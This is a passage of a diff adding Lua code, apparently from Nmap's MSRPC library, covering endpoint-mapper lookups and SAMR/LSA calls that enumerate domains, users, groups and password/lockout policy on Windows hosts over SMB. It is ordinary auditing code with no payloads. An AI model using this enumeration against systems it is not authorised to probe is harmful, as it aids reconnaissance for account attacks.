+ -- [in] unsigned32 inquiry_type,
+ -- [in] uuid_p_t object,
+ -- [in] rpc_if_id_p_t interface_id,
+ -- [in] unsigned32 vers_option,
+ -- [in, out] ept_lookup_handle_t *entry_handle,
+ -- [in] unsigned32 max_ents,
+ -- [out] unsigned32 *num_ents,
+ -- [out, length_is(*num_ents), size_is(max_ents)]
+ -- ept_entry_t entries[],
+ -- [out] error_status_t *status
+ -- );
+ local params = msrpctypes.marshall_int32(0) .. msrpctypes.marshall_int32(0) .. msrpctypes.marshall_int32(0) .. msrpctypes.marshall_int32(0)
+ .. handle .. msrpctypes.marshall_int32(1)
+
+ local status,result = call_function(smbstate,2,params)
+ if not status then
+ stdnse.debug1("MSRPC epmapper_lookup(): %s",result)
+ end
+
+ local data = result.data
+ -- parse data
+ -- skip 24 bytes of common DCE header
+ local pos
+ local lookup_response = {
+ new_handle = nil,
+ annotation = nil,
+ uuid = nil,
+ exe = nil,
+ tcp_port = nil,
+ udp_port = nil,
+ ip_addr = nil,
+ ncalrpc = nil,
+ ncacn_np = nil,
+ netbios = nil,
+ ncacn_http = nil
+ }
+
+ lookup_response.new_handle = string.sub(data,25,44)
+
+ -- stdnse.debug1("new_handle: %s", stdnse.tohex(new_handle))
+
+ local num_entries
+ num_entries, pos = string.unpack("<I4", data, 45)
+ if num_entries == 0 then
+ return false, "finished"
+ end
+ --skip max count, offset, actual count
+ pos = pos + 12
+ --skip object ,
+ pos = pos + 16
+ pos = pos + 8
+ local annotation_length
+ annotation_length, pos = string.unpack("<I4", data, pos)
+ if annotation_length > 1 then
+ lookup_response.annotation = string.sub(data,pos,pos+annotation_length-2)
+ end
+ local padding = (4-(annotation_length%4))
+ if padding == 4 then padding = 0 end
+ pos = pos + annotation_length + padding
+ --skip lengths
+ pos = pos + 8
+ local num_floors,floor_len,uuid, address_type,address_len,tcp_port,udp_port,ip_addr,saved_pos,ncalrpc,ncacn_np,netbios,ncacn_http
+ num_floors, pos = string.unpack("<I2", data, pos)
+
+ for i = 1, num_floors do
+ saved_pos = pos
+ floor_len, pos = string.unpack("<I2", data, pos)
+
+ if i == 1 then
+ uuid = string.sub(data,pos+1,pos+16)
+ lookup_response.uuid = uuid_to_string(uuid)
+ lookup_response.exe = string_uuid_to_exe(lookup_response.uuid)
+ else
+ if not (i == 2) and not (i == 3) then -- just skip floor 2 and 3
+ address_type, address_len, pos = string.unpack("<BI2", data, pos)
+ if address_type == 0x07 then
+ lookup_response.tcp_port, pos = string.unpack(">I2", data, pos)
+ elseif address_type == 0x08 then
+ lookup_response.udp_port, pos = string.unpack(">I2", data, pos)
+ elseif address_type == 0x09 then
+ local ip
+ ip, pos = string.unpack("c4", data, pos)
+ lookup_response.ip_addr = ipOps.str_to_ip(ip)
+ elseif address_type == 0x0f then
+ lookup_response.ncacn_np = string.sub(data,pos,pos+address_len-2)
+ floor_len = floor_len + address_len - 2
+ elseif address_type == 0x10 then
+ lookup_response.ncalrpc = string.sub(data,pos,pos+address_len-2)
+ floor_len = floor_len + address_len - 2
+ elseif address_type == 0x11 then
+ lookup_response.netbios = string.sub(data,pos,pos+address_len-2)
+ floor_len = floor_len + address_len - 2
+ elseif address_type == 0x1f then
+ lookup_response.ncacn_http, pos = string.unpack(">I2", data, pos)
+ else
+ stdnse.debug1("unknown address type %x",address_type)
+ end
+ end
+ end
+ pos = saved_pos + floor_len + 6
+ end
+ return status,lookup_response
+end
+
+---A proxy to a <code>msrpctypes</code> function that converts a PasswordProperties to an English string.
+--
+-- I implemented this as a proxy so scripts don't have to make direct calls to
+-- <code>msrpctypes</code> functions.
+--
+--@param val The value to convert.
+--@return A string that can be displayed to the user.
+function samr_PasswordProperties_tostr(val)
+ return msrpctypes.samr_PasswordProperties_tostr(val)
+end
+
+---A proxy to a <code>msrpctypes</code> function that converts a AcctFlags to
+-- an English string.
+--
+-- I implemented this as a proxy so scripts don't have to make direct calls to
+-- <code>msrpctypes</code> functions.
+--
+--@param val The value to convert.
+--@return A string that can be displayed to the user.
+function samr_AcctFlags_tostr(val)
+ return msrpctypes.samr_AcctFlags_tostr(val)
+end
+
+---Call the <code>connect4</code> function, to obtain a "connect handle".
+--
+-- This must be done before calling many of the SAMR functions.
+--
+--@param smbstate The SMB state table
+--@param server The IP or Hostname of the server (seems to be ignored but it's
+-- a good idea to have it)
+--@return status true or false
+--@return If status is false, result is an error message. Otherwise, result is
+-- a table of values, the most useful one being 'connect_handle', which
+-- is required to call other functions.
+function samr_connect4(smbstate, server)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling Connect4() [%s]", smbstate['ip'])
+
+ -- [in,string,charset(UTF16)] uint16 *system_name,
+ arguments = msrpctypes.marshall_unicode_ptr("\\\\" .. server, true)
+
+ -- [in] uint32 unknown,
+ .. msrpctypes.marshall_int32(0x02)
+
+ -- [in] samr_ConnectAccessMask access_mask,
+ .. msrpctypes.marshall_samr_ConnectAccessMask("SAMR_ACCESS_ENUM_DOMAINS|SAMR_ACCESS_OPEN_DOMAIN")
+ -- [out,ref] policy_handle *connect_handle
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x3E, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: Connect4() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+ -- [in,string,charset(UTF16)] uint16 *system_name,
+ -- [in] uint32 unknown,
+ -- [in] samr_ConnectAccessMask access_mask,
+ -- [out,ref] policy_handle *connect_handle
+ pos, result['connect_handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.connect4)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.connect4)"
+ end
+
+ return true, result
+end
+
+---Call the <code>enumdomains</code> function, which returns a list of all domains in use by the system.
+--
+--@param smbstate The SMB state table
+--@param connect_handle The connect_handle, returned by samr_connect4()
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'domains', which is a list of the domains.
+function samr_enumdomains(smbstate, connect_handle)
+ local status, result
+ local arguments
+ local result
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling EnumDomains() [%s]", smbstate['ip'])
+
+ -- [in,ref] policy_handle *connect_handle,
+ arguments = msrpctypes.marshall_policy_handle(connect_handle)
+
+ -- [in,out,ref] uint32 *resume_handle,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [in] uint32 buf_size,
+ .. msrpctypes.marshall_int32(0x2000)
+
+ -- [out] samr_SamArray *sam,
+ -- [out] uint32 num_entries
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x06, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: EnumDomains() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+
+ -- [in,ref] policy_handle *connect_handle,
+ -- [in,out,ref] uint32 *resume_handle,
+ pos, result['resume_handle'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [in] uint32 buf_size,
+ -- [out] samr_SamArray *sam,
+ pos, result['sam'] = msrpctypes.unmarshall_samr_SamArray_ptr(arguments, pos)
+
+ -- [out] uint32 num_entries
+ pos, result['num_entries'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.enumdomains)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.enumdomains)"
+ end
+
+ return true, result
+end
+
+---Call the <code>LookupDomain</code> function, which converts a domain's name into its sid, which is
+-- required to do operations on the domain.
+--
+--@param smbstate The SMB state table
+--@param connect_handle The connect_handle, returned by <code>samr_connect4</code>
+--@param domain The name of the domain (all domain names can be obtained with <code>samr_enumdomains</code>)
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'sid', which is required to call other functions.
+function samr_lookupdomain(smbstate, connect_handle, domain)
+ local status, result
+ local arguments
+ local pos, align
+ local referent_id
+
+ stdnse.debug2("MSRPC: Calling LookupDomain(%s) [%s]", domain, smbstate['ip'])
+
+ -- [in,ref] policy_handle *connect_handle,
+ arguments = msrpctypes.marshall_policy_handle(connect_handle)
+
+ -- [in,ref] lsa_String *domain_name,
+ .. msrpctypes.marshall_lsa_String(domain)
+
+ -- [out] dom_sid2 *sid
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x05, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: LookupDomain() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+
+
+ -- [in,ref] policy_handle *connect_handle,
+ -- [in,ref] lsa_String *domain_name,
+ -- [out] dom_sid2 *sid
+ pos, result['sid'] = msrpctypes.unmarshall_dom_sid2_ptr(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.lookupdomain)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.lookupdomain)"
+ end
+
+ return true, result
+end
+
+---Call <code>OpenDomain</code>, which returns a handle to the domain identified by the given sid.
+-- This is required before calling certain functions.
+--
+--@param smbstate The SMB state table
+--@param connect_handle The connect_handle, returned by <code>samr_connect4</code>
+--@param sid The sid for the domain, returned by <code>samr_lookupdomain</code>
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'domain_handle', which is used to call other functions.
+function samr_opendomain(smbstate, connect_handle, sid)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling OpenDomain(%s) [%s]", sid, smbstate['ip'])
+
+ -- [in,ref] policy_handle *connect_handle,
+ arguments = msrpctypes.marshall_policy_handle(connect_handle)
+
+ -- [in] samr_DomainAccessMask access_mask,
+ .. msrpctypes.marshall_samr_DomainAccessMask("DOMAIN_ACCESS_LOOKUP_INFO_1|DOMAIN_ACCESS_LOOKUP_INFO_2|DOMAIN_ACCESS_ENUM_ACCOUNTS|DOMAIN_ACCESS_OPEN_ACCOUNT")
+
+ -- [in,ref] dom_sid2 *sid,
+ .. msrpctypes.marshall_dom_sid2(sid)
+
+ -- [out,ref] policy_handle *domain_handle
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x07, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenDomain() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *connect_handle,
+ -- [in] samr_DomainAccessMask access_mask,
+ -- [in,ref] dom_sid2 *sid,
+ -- [out,ref] policy_handle *domain_handle
+ pos, result['domain_handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.opendomain)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.opendomain)"
+ end
+
+ return true, result
+end
+
+---Call <code>EnumDomainUsers</code>, which returns a list of users only. To get more information about the users, the
+-- QueryDisplayInfo() function can be used.
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'names', which is a list of usernames in that domain.
+function samr_enumdomainusers(smbstate, domain_handle)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling EnumDomainUsers() [%s]", smbstate['ip'])
+
+ -- [in,ref] policy_handle *domain_handle,
+ arguments = msrpctypes.marshall_policy_handle(domain_handle)
+
+ -- [in,out,ref] uint32 *resume_handle,
+ .. msrpctypes.marshall_int32_ptr(nil)
+
+ -- [in] samr_AcctFlags acct_flags,
+ .. msrpctypes.marshall_samr_AcctFlags("ACB_NONE")
+
+ -- [in] uint32 max_size,
+ .. msrpctypes.marshall_int32(0x0400)
+
+ -- [out] samr_SamArray *sam,
+ -- [out] uint32 num_entries
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x0d, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: EnumDomainUsers() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *domain_handle,
+ -- [in,out,ref] uint32 *resume_handle,
+ pos, result['resume_handle'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [in] samr_AcctFlags acct_flags,
+ -- [in] uint32 max_size,
+ -- [out] samr_SamArray *sam,
+ pos, result['sam'] = msrpctypes.unmarshall_samr_SamArray_ptr(arguments, pos)
+
+ -- [out] uint32 num_entries
+ pos, result['num_entries'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.enumdomainusers)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.enumdomainusers)"
+ end
+
+ return true, result
+
+end
+
+---Call <code>QueryDisplayInfo</code>, which returns a list of users with accounts on the system, as well as extra information about
+-- them (their full name and description).
+--
+-- I found in testing that trying to get all the users at once is a mistake, it returns ERR_BUFFER_OVERFLOW, so instead I'm
+-- only reading one user at a time. My recommendation is to start at <code>index</code> = 0, and increment until you stop getting
+-- an error indicator in <code>result['return']</code>.
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain handle, returned by <code>samr_opendomain</code>
+--@param index The index of the user to check; the first user is 0, next is 1, etc.
+--@param count [optional] The number of users to return; you may want to be careful about going too high. Default: 1.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful ones being 'names', a list of all the usernames, and 'details', a further list of tables with the elements
+-- 'name', 'fullname', and 'description' (note that any of them can be nil if the server didn't return a value). Finally,
+-- 'flags' is the numeric flags for the user, while 'flags_list' is an array of strings, representing the flags.
+function samr_querydisplayinfo(smbstate, domain_handle, index, count)
+ local status, result
+ local arguments
+ local pos, align
+
+ if(count == nil) then
+ count = 1
+ end
+
+ -- This loop is because, in my testing, if I asked for all the results at once, it would blow up (ERR_BUFFER_OVERFLOW). So, instead,
+ -- I put a little loop here and grab the names individually.
+ stdnse.debug2("MSRPC: Calling QueryDisplayInfo(%d) [%s]", index, smbstate['ip'])
+
+ -- [in,ref] policy_handle *domain_handle,
+ arguments = msrpctypes.marshall_policy_handle(domain_handle)
+
+ -- [in] uint16 level,
+ .. msrpctypes.marshall_int16(1) -- Level (1 = users, 3 = groups, 4 = usernames only)
+
+ -- [in] uint32 start_idx,
+ .. msrpctypes.marshall_int32(index)
+
+ -- [in] uint32 max_entries,
+ .. msrpctypes.marshall_int32(count)
+
+ -- [in] uint32 buf_size,
+ .. msrpctypes.marshall_int32(0x7FFFFFFF)
+
+ -- [out] uint32 total_size,
+ -- [out] uint32 returned_size,
+ -- [out,switch_is(level)] samr_DispInfo info
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x28, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: QueryDisplayInfo() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *domain_handle,
+ -- [in] uint16 level,
+ -- [in] uint32 start_idx,
+ -- [in] uint32 max_entries,
+ -- [in] uint32 buf_size,
+ -- [out] uint32 total_size,
+ pos, result['total_size'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [out] uint32 returned_size,
+ pos, result['returned_size'] = msrpctypes.unmarshall_int32(arguments, pos)
+ -- [out,switch_is(level)] samr_DispInfo info
+ pos, result['info'] = msrpctypes.unmarshall_samr_DispInfo(arguments, pos)
+ if(pos == nil) then
+ return false, "SMB: An error occurred while calling unmarshall_samr_DispInfo"
+ end
+
+ -- Get the return value
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.querydisplayall)"
+ end
+ if(result['return'] ~= 0 and result['return'] ~= smb.status_codes['NT_STATUS_MORE_ENTRIES']) then
+ return false, smb.get_status_name(result['return']) .. " (samr.querydisplayinfo)"
+ end
+
+ return true, result
+end
+
+---Call <code>QueryDomainInfo2</code>, which grabs various data about a domain.
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
+--@param level The level, which determines which type of information to query for. See the @return section
+-- for details.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values,
+-- and the values that are returned are dependent on the 'level' settings:
+-- Level 1:
+-- 'min_password_length' (in characters)
+-- 'password_history_length' (in passwords)
+-- 'password_properties'
+-- 'password_properties_list' (array of strings)
+-- 'max_password_age' (in days)
+-- 'min_password_age' (in days)
+-- Level 8
+-- 'create_time' (1/10ms since 1601)
+-- 'create_date' (string)
+-- Level 12
+-- 'lockout_duration' (in minutes)
+-- 'lockout_window' (in minutes)
+-- 'lockout_threshold' (in attempts)
+function samr_querydomaininfo2(smbstate, domain_handle, level)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling QueryDomainInfo2(%d) [%s]", level, smbstate['ip'])
+
+ -- [in,ref] policy_handle *domain_handle,
+ arguments = msrpctypes.marshall_policy_handle(domain_handle)
+
+ -- [in] uint16 level,
+ .. msrpctypes.marshall_int32(level)
+
+ -- [out,switch_is(level)] samr_DomainInfo *info
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x2e, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: QueryDomainInfo2() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *domain_handle,
+ -- [in] uint16 level,
+ -- [out,switch_is(level)] samr_DomainInfo *info
+ pos, result['info'] = msrpctypes.unmarshall_samr_DomainInfo_ptr(arguments, pos)
+ if(pos == nil) then
+ return false, "unmarshall_samr_DomainInfo_ptr() returned an error"
+ end
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.querydomaininfo2)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.querydomaininfo2)"
+ end
+
+ return true, result
+end
+
+---Call the <code>EnumDomainAliases</code> function, which retrieves a list of groups for a given domain
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+function samr_enumdomainaliases(smbstate, domain_handle)
+ local status, result
+ local arguments
+ local pos, align
+
+ arguments = ''
+
+ -- [in] policy_handle *domain_handle,
+ .. msrpctypes.marshall_policy_handle(domain_handle)
+
+ -- [in,out,ref] uint32 *resume_handle,
+ .. msrpctypes.marshall_int32_ptr(nil)
+
+ -- [out,ref] samr_SamArray **sam,
+ -- [in] uint32 max_size, (note: Wireshark says this is flags. Either way..)
+ .. msrpctypes.marshall_int32(0x400)
+
+ -- [out,ref] uint32 *num_entries
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x0f, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] policy_handle *domain_handle,
+ -- [in,out,ref] uint32 *resume_handle,
+ pos, result['resume_handle'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [out,ref] samr_SamArray **sam,
+ pos, result['sam'] = msrpctypes.unmarshall_samr_SamArray_ptr(arguments, pos)
+
+ -- [in] uint32 max_size,
+ -- [out,ref] uint32 *num_entries
+ pos, result['num_entries'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.enumdomainaliases)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.enumdomainaliases)"
+ end
+
+ return true, result
+end
+
+---Call the <code>EnumDomainAliases</code> function, which retrieves a list of groups for a given domain
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+function samr_lookupnames(smbstate, domain_handle, names)
+ local status, result
+ local arguments
+ local pos, align
+
+ arguments = ''
+
+ -- [in,ref] policy_handle *domain_handle,
+ .. msrpctypes.marshall_policy_handle(domain_handle)
+
+ -- [in,range(0,1000)] uint32 num_names,
+ .. msrpctypes.marshall_int32(#names)
+
+ -- [in,size_is(1000),length_is(num_names)] lsa_String names[],
+ .. msrpctypes.marshall_lsa_String_array2(names)
+
+ -- [out,ref] samr_Ids *rids,
+ -- [out,ref] samr_Ids *types
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x11, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *domain_handle,
+ -- [in,range(0,1000)] uint32 num_names,
+ -- [in,size_is(1000),length_is(num_names)] lsa_String names[],
+ -- [out,ref] samr_Ids *rids,
+ pos, result['rids'] = msrpctypes.unmarshall_samr_Ids(arguments, pos)
+
+ -- [out,ref] samr_Ids *types
+ pos, result['types'] = msrpctypes.unmarshall_samr_Ids(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.lookupnames)"
+ end
+ if(result['return'] == smb.status_codes['NT_STATUS_NONE_MAPPED']) then
+ return false, "Couldn't find any names the host recognized"
+ end
+
+ if(result['return'] ~= 0 and result['return'] ~= smb.status_codes['NT_STATUS_SOME_NOT_MAPPED']) then
+ return false, smb.get_status_name(result['return']) .. " (samr.lookupnames)"
+ end
+
+ return true, result
+end
+
+---Call the <code>OpenAlias</code> function, which gets a handle to a group.
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
+--@param rid The RID of the alias
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+function samr_openalias(smbstate, domain_handle, rid)
+ local status, result
+ local arguments
+ local pos, align
+
+ arguments = ''
+
+ -- [in,ref] policy_handle *domain_handle,
+ .. msrpctypes.marshall_policy_handle(domain_handle)
+
+ -- [in] samr_AliasAccessMask access_mask,
+ .. msrpctypes.marshall_int32(0x0002000c) -- Full read permission
+
+ -- [in] uint32 rid,
+ .. msrpctypes.marshall_int32(rid)
+
+ -- [out,ref] policy_handle *alias_handle
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x1b, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *domain_handle,
+ -- [in] samr_AliasAccessMask access_mask,
+ -- [in] uint32 rid,
+ -- [out,ref] policy_handle *alias_handle
+ pos, result['alias_handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.openalias)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.openalias)"
+ end
+
+ return true, result
+end
+
+---Call the <code>GetAliasMembership</code> function.
+--Sends the "raw" data, without marshaling.
+--
+--@param smbstate The SMB state table
+--@param alias_handle The alias_handle, already marshaled
+--@param args Actual data to send, already marshaled
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+function samr_getaliasmembership(smbstate, alias_handle,args)
+ local status, result
+ local arguments = alias_handle .. args
+ -- Do the call
+ status, result = call_function(smbstate, 0x10, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ return true, result
+end
+
+---Call the <code>GetMembersInAlias</code> function, which retrieves a list of users in
+-- a group.
+--
+--@param smbstate The SMB state table
+--@param alias_handle The alias_handle, returned by <code>samr_openalias</code>
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+function samr_getmembersinalias(smbstate, alias_handle)
+ local status, result
+ local arguments
+ local pos, align
+
+ arguments = ''
+
+ -- [in,ref] policy_handle *alias_handle,
+ .. msrpctypes.marshall_policy_handle(alias_handle)
+ -- [out,ref] lsa_SidArray *sids
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x21, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *alias_handle,
+ -- [out,ref] lsa_SidArray *sids
+ pos, result['sids'] = msrpctypes.unmarshall_lsa_SidArray(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.getmembersinalias)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)"
+ end
+
+ return true, result
+end
+
+-- Call the <code>LookupRids</code> function, which converts a list of RIDs to
+-- names.
+--
+--NOTE: This doesn't appear to work (it generates a fault, despite the packet being properly formatted).
+--if you ever feel like you need this function, check out <code>lsa_lookupsids2</code>.
+--
+--@param smbstate The SMB state table
+--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
+--@param rids An array of RIDs to look up
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+--function samr_lookuprids(smbstate, domain_handle, rids)
+-- local status, result
+-- local arguments
+-- local pos, align
+--
+-- arguments = ''
+--
+---- [in,ref] policy_handle *domain_handle,
+-- arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
+---- [in,range(0,1000)] uint32 num_rids,
+-- arguments = arguments .. msrpctypes.marshall_int32(#rids)
+---- [in,size_is(1000),length_is(num_rids)] uint32 rids[],
+-- arguments = arguments .. msrpctypes.marshall_int32_array(rids)
+---- [out,ref] lsa_Strings *names,
+---- [out,ref] samr_Ids *types
+--
+--
+-- -- Do the call
+-- status, result = call_function(smbstate, 0x12, arguments)
+-- if(status ~= true) then
+-- return false, result
+-- end
+--
+-- -- Make arguments easier to use
+-- arguments = result['arguments']
+-- pos = 1
+--
+---- [in,ref] policy_handle *domain_handle,
+---- [in,range(0,1000)] uint32 num_rids,
+---- [in,size_is(1000),length_is(num_rids)] uint32 rids[],
+---- [out,ref] lsa_Strings *names,
+---- [out,ref] samr_Ids *types
+--
+--
+-- pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+--stdnse.debug1("Return = %08x\n", result['return'])
+-- if(result['return'] == nil) then
+-- return false, "Read off the end of the packet (samr.getmembersinalias)"
+-- end
+-- if(result['return'] ~= 0) then
+-- return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)"
+-- end
+--
+-- return true, result
+--end
+
+
+
+---Call the <code>close</code> function, which closes a handle of any type (for example, domain_handle or connect_handle)
+--@param smbstate The SMB state table
+--@param handle The handle to close
+--@return (status, result) If status is false, result is an error message. Otherwise, result is potentially
+-- a table of values, none of which are likely to be used.
+function samr_close(smbstate, handle)
+ local status, result
+ local arguments
+ local pos, align
+
+
+ stdnse.debug2("MSRPC: Calling Close() [%s]", smbstate['ip'])
+
+ -- [in,out,ref] policy_handle *handle
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x01, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: Close() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (samr.close)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (samr.close)"
+ end
+
+ return true, result
+end
+
+---Call the <code>LsarOpenPolicy2</code> function, to obtain a "policy handle". This must be done before calling many
+-- of the LSA functions.
+--
+--@param smbstate The SMB state table
+--@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it)
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'policy_handle', which is required to call other functions.
+function lsa_openpolicy2(smbstate, server)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling LsarOpenPolicy2() [%s]", smbstate['ip'])
+
+ -- [in,unique] [string,charset(UTF16)] uint16 *system_name,
+ arguments = msrpctypes.marshall_unicode_ptr(server, true)
+
+ -- [in] lsa_ObjectAttribute *attr,
+ .. msrpctypes.marshall_lsa_ObjectAttribute()
+
+ -- [in] uint32 access_mask,
+ .. msrpctypes.marshall_int32(0x00000800)
+
+ -- [out] policy_handle *handle
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x2C, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: LsarOpenPolicy2() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,unique] [string,charset(UTF16)] uint16 *system_name,
+ -- [in] lsa_ObjectAttribute *attr,
+ -- [in] uint32 access_mask,
